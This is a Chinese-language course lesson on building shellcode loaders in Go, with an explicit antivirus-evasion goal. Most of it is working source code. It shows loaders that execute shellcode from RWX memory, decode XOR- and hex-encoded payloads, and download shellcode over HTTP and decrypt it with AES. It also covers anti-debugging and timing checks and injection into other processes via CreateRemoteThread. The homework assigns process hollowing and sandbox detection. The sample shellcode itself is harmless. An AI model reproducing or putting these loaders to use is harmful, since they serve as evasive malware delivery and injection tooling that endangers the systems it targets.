shellcode loader

4、golang实现shellcode loader

1、课程目标

  1. 掌握Go语言调用Windows API的方法
  2. 理解syscall和unsafe包的使用
  3. 实现Go版本的ShellCode Loader
  4. 了解Go编译的免杀特性

2、名词解释

术语 全称 解释
syscall System Call Go的系统调用包
unsafe - 允许不安全指针操作的包
CGo - Go调用C代码的机制
uintptr Unsigned Integer Pointer Go中的指针整数类型

3、使用工具

工具 用途 备注
Go 编译器 >= 1.16
Visual Studio Code 开发环境 Go扩展
garble 代码混淆 增加免杀能力

4、技术原理

4.1、Go调用Windows API

// 加载DLL
kernel32 := syscall.NewLazyDLL("kernel32.dll")

// 获取函数
virtualAlloc := kernel32.NewProc("VirtualAlloc")

// 调用函数
ret, _, _ := virtualAlloc.Call(
    0,                          // lpAddress
    uintptr(len(shellcode)),    // dwSize
    0x1000|0x2000,             // MEM_COMMIT|MEM_RESERVE
    0x40,                       // PAGE_EXECUTE_READWRITE
)

5、代码实现

1. 基础Go Loader

// loader.go
// Go ShellCode Loader

package main

import (
    "encoding/hex"
    "fmt"
    "os"
    "syscall"
    "unsafe"
)

var (
    kernel32         = syscall.NewLazyDLL("kernel32.dll")
    ntdll            = syscall.NewLazyDLL("ntdll.dll")
    
    virtualAlloc     = kernel32.NewProc("VirtualAlloc")
    virtualProtect   = kernel32.NewProc("VirtualProtect")
    createThread     = kernel32.NewProc("CreateThread")
    waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
    rtlCopyMemory    = ntdll.NewProc("RtlCopyMemory")
)

// 测试ShellCode (返回1)
var shellcode = []byte{
    0x90, 0x90, 0x90, 0x90, // NOP
    0x31, 0xC0,             // xor eax, eax
    0x40,                   // inc eax
    0xC3,                   // ret
}

// 方法1: VirtualAlloc + 函数指针
func Method1_FuncPtr() {
    fmt.Println("[*] Method 1: Function Pointer")
    
    addr, _, err := virtualAlloc.Call(
        0,
        uintptr(len(shellcode)),
        0x1000|0x2000, // MEM_COMMIT | MEM_RESERVE
        0x40,          // PAGE_EXECUTE_READWRITE
    )
    
    if addr == 0 {
        fmt.Printf("[-] VirtualAlloc failed: %v\n", err)
        return
    }
    
    fmt.Printf("[+] Allocated memory at: 0x%X\n", addr)
    
    // 复制ShellCode
    rtlCopyMemory.Call(
        addr,
        uintptr(unsafe.Pointer(&shellcode[0])),
        uintptr(len(shellcode)),
    )
    
    // 转换为函数并调用
    shellcodeFunc := syscall.NewCallback(func() uintptr {
        return 0
    })
    _ = shellcodeFunc // 占位
    
    // 实际调用 - 使用syscall.Syscall
    ret, _, _ := syscall.Syscall(addr, 0, 0, 0, 0)
    fmt.Printf("[+] ShellCode returned: %d\n", ret)
}

// 方法2: CreateThread
func Method2_Thread() {
    fmt.Println("[*] Method 2: CreateThread")
    
    addr, _, _ := virtualAlloc.Call(
        0,
        uintptr(len(shellcode)),
        0x1000|0x2000,
        0x40,
    )
    
    if addr == 0 {
        fmt.Println("[-] VirtualAlloc failed")
        return
    }
    
    // 复制
    rtlCopyMemory.Call(
        addr,
        uintptr(unsafe.Pointer(&shellcode[0])),
        uintptr(len(shellcode)),
    )
    
    // 创建线程
    thread, _, _ := createThread.Call(
        0,          // lpThreadAttributes
        0,          // dwStackSize
        addr,       // lpStartAddress
        0,          // lpParameter
        0,          // dwCreationFlags
        0,          // lpThreadId
    )
    
    if thread == 0 {
        fmt.Println("[-] CreateThread failed")
        return
    }
    
    fmt.Printf("[+] Thread created: 0x%X\n", thread)
    
    // 等待完成
    waitForSingleObject.Call(thread, 0xFFFFFFFF)
    
    fmt.Println("[+] Thread completed")
}

// 方法3: 两步分配 (RW -> RX)
func Method3_TwoStep() {
    fmt.Println("[*] Method 3: Two-Step Allocation")
    
    // 分配RW
    addr, _, _ := virtualAlloc.Call(
        0,
        uintptr(len(shellcode)),
        0x1000|0x2000,
        0x04, // PAGE_READWRITE
    )
    
    if addr == 0 {
        fmt.Println("[-] VirtualAlloc failed")
        return
    }
    
    fmt.Printf("[+] Allocated RW at: 0x%X\n", addr)
    
    // 复制
    rtlCopyMemory.Call(
        addr,
        uintptr(unsafe.Pointer(&shellcode[0])),
        uintptr(len(shellcode)),
    )
    
    // 修改为RX
    var oldProtect uint32
    virtualProtect.Call(
        addr,
        uintptr(len(shellcode)),
        0x20, // PAGE_EXECUTE_READ
        uintptr(unsafe.Pointer(&oldProtect)),
    )
    
    fmt.Println("[+] Changed to RX")
    
    // 执行
    thread, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
    waitForSingleObject.Call(thread, 0xFFFFFFFF)
    
    fmt.Println("[+] Completed")
}

// 方法4: 从Hex字符串加载
func Method4_FromHex(hexStr string) {
    fmt.Println("[*] Method 4: Load from Hex String")
    
    sc, err := hex.DecodeString(hexStr)
    if err != nil {
        fmt.Printf("[-] Hex decode error: %v\n", err)
        return
    }
    
    fmt.Printf("[+] Decoded %d bytes\n", len(sc))
    
    addr, _, _ := virtualAlloc.Call(
        0,
        uintptr(len(sc)),
        0x1000|0x2000,
        0x40,
    )
    
    if addr == 0 {
        return
    }
    
    rtlCopyMemory.Call(
        addr,
        uintptr(unsafe.Pointer(&sc[0])),
        uintptr(len(sc)),
    )
    
    thread, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
    waitForSingleObject.Call(thread, 0xFFFFFFFF)
}

// 方法5: XOR解密后执行
func Method5_XorDecrypt(encrypted []byte, key byte) {
    fmt.Println("[*] Method 5: XOR Decrypt and Execute")
    
    // 解密
    decrypted := make([]byte, len(encrypted))
    for i, b := range encrypted {
        decrypted[i] = b ^ key
    }
    
    addr, _, _ := virtualAlloc.Call(
        0,
        uintptr(len(decrypted)),
        0x1000|0x2000,
        0x40,
    )
    
    if addr == 0 {
        return
    }
    
    rtlCopyMemory.Call(
        addr,
        uintptr(unsafe.Pointer(&decrypted[0])),
        uintptr(len(decrypted)),
    )
    
    thread, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
    waitForSingleObject.Call(thread, 0xFFFFFFFF)
}

// 加密工具
func xorEncrypt(data []byte, key byte) []byte {
    result := make([]byte, len(data))
    for i, b := range data {
        result[i] = b ^ key
    }
    return result
}

func main() {
    fmt.Println("========================================")
    fmt.Println("     Go ShellCode Loader               ")
    fmt.Println("========================================")
    fmt.Println()
    
    Method1_FuncPtr()
    fmt.Println()
    
    Method2_Thread()
    fmt.Println()
    
    Method3_TwoStep()
    fmt.Println()
    
    // 从命令行参数加载
    if len(os.Args) >= 2 {
        Method4_FromHex(os.Args[1])
    }
    
    fmt.Println("[*] Done")
}

2. 高级Go Loader

// advanced_loader.go
// 高级Go ShellCode Loader

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "fmt"
    "io/ioutil"
    "net/http"
    "syscall"
    "time"
    "unsafe"
)

var (
    kernel32 = syscall.NewLazyDLL("kernel32.dll")
    ntdll    = syscall.NewLazyDLL("ntdll.dll")
    
    virtualAlloc        = kernel32.NewProc("VirtualAlloc")
    virtualAllocEx      = kernel32.NewProc("VirtualAllocEx")
    createThread        = kernel32.NewProc("CreateThread")
    createRemoteThread  = kernel32.NewProc("CreateRemoteThread")
    openProcess         = kernel32.NewProc("OpenProcess")
    writeProcessMemory  = kernel32.NewProc("WriteProcessMemory")
    waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
    closeHandle         = kernel32.NewProc("CloseHandle")
    rtlCopyMemory       = ntdll.NewProc("RtlCopyMemory")
    
    // 反调试
    isDebuggerPresent = kernel32.NewProc("IsDebuggerPresent")
)

// 远程下载ShellCode
func downloadShellcode(url string) ([]byte, error) {
    client := &http.Client{
        Timeout: 30 * time.Second,
    }
    
    resp, err := client.Get(url)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()
    
    return ioutil.ReadAll(resp.Body)
}

// AES解密
func aesDecrypt(ciphertext, key, iv []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }
    
    mode := cipher.NewCBCDecrypter(block, iv)
    plaintext := make([]byte, len(ciphertext))
    mode.CryptBlocks(plaintext, ciphertext)
    
    // 去除PKCS7填充
    padding := int(plaintext[len(plaintext)-1])
    return plaintext[:len(plaintext)-padding], nil
}

// 反调试检查
func isDebugged() bool {
    ret, _, _ := isDebuggerPresent.Call()
    return ret != 0
}

// 时间检测反调试
func timingCheck() bool {
    t1 := time.Now()
    // 一些操作
    for i := 0; i < 1000; i++ {
        _ = i * i
    }
    t2 := time.Now()
    
    // 如果执行时间过长,可能被调试
    return t2.Sub(t1) > 100*time.Millisecond
}

// 远程线程注入
func injectToProcess(pid uint32, shellcode []byte) error {
    // 打开进程
    const PROCESS_ALL_ACCESS = 0x1F0FFF
    
    hProcess, _, err := openProcess.Call(
        PROCESS_ALL_ACCESS,
        0,
        uintptr(pid),
    )
    
    if hProcess == 0 {
        return fmt.Errorf("OpenProcess failed: %v", err)
    }
    defer closeHandle.Call(hProcess)
    
    fmt.Printf("[+] Opened process: 0x%X\n", hProcess)
    
    // 分配远程内存
    remoteMem, _, _ := virtualAllocEx.Call(
        hProcess,
        0,
        uintptr(len(shellcode)),
        0x1000|0x2000,
        0x40,
    )
    
    if remoteMem == 0 {
        return fmt.Errorf("VirtualAllocEx failed")
    }
    
    fmt.Printf("[+] Remote memory: 0x%X\n", remoteMem)
    
    // 写入
    var written uintptr
    writeProcessMemory.Call(
        hProcess,
        remoteMem,
        uintptr(unsafe.Pointer(&shellcode[0])),
        uintptr(len(shellcode)),
        uintptr(unsafe.Pointer(&written)),
    )
    
    fmt.Printf("[+] Written: %d bytes\n", written)
    
    // 创建远程线程
    hThread, _, _ := createRemoteThread.Call(
        hProcess,
        0,
        0,
        remoteMem,
        0,
        0,
        0,
    )
    
    if hThread == 0 {
        return fmt.Errorf("CreateRemoteThread failed")
    }
    
    fmt.Printf("[+] Remote thread: 0x%X\n", hThread)
    
    waitForSingleObject.Call(hThread, 0xFFFFFFFF)
    closeHandle.Call(hThread)
    
    return nil
}

// 延迟执行
func delayedExecution(shellcode []byte, delaySeconds int) {
    fmt.Printf("[*] Waiting %d seconds...\n", delaySeconds)
    time.Sleep(time.Duration(delaySeconds) * time.Second)
    
    executeShellcode(shellcode)
}

// 执行ShellCode
func executeShellcode(sc []byte) {
    addr, _, _ := virtualAlloc.Call(
        0,
        uintptr(len(sc)),
        0x1000|0x2000,
        0x40,
    )
    
    if addr == 0 {
        return
    }
    
    rtlCopyMemory.Call(
        addr,
        uintptr(unsafe.Pointer(&sc[0])),
        uintptr(len(sc)),
    )
    
    thread, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
    waitForSingleObject.Call(thread, 0xFFFFFFFF)
}

func main() {
    fmt.Println("========================================")
    fmt.Println("     Advanced Go ShellCode Loader      ")
    fmt.Println("========================================")
    
    // 反调试检查
    if isDebugged() {
        fmt.Println("[-] Debugger detected!")
        return
    }
    
    if timingCheck() {
        fmt.Println("[-] Timing anomaly detected!")
        return
    }
    
    fmt.Println("[+] Anti-debug checks passed")
    
    // 示例:从Base64加载
    encoded := "kJCQkDHA" // 对应 NOP + xor eax,eax (部分)
    shellcode, _ := base64.StdEncoding.DecodeString(encoded)
    
    if len(shellcode) > 0 {
        executeShellcode(shellcode)
    }
}

3、课后作业

3.1、作业1:添加更多加密算法

实现RC4和ChaCha20加密解密支持。

3.2、作业2:实现进程镂空

使用Go实现进程镂空(Process Hollowing)技术。

3.3、作业3:添加沙箱检测

实现常见沙箱环境的检测功能。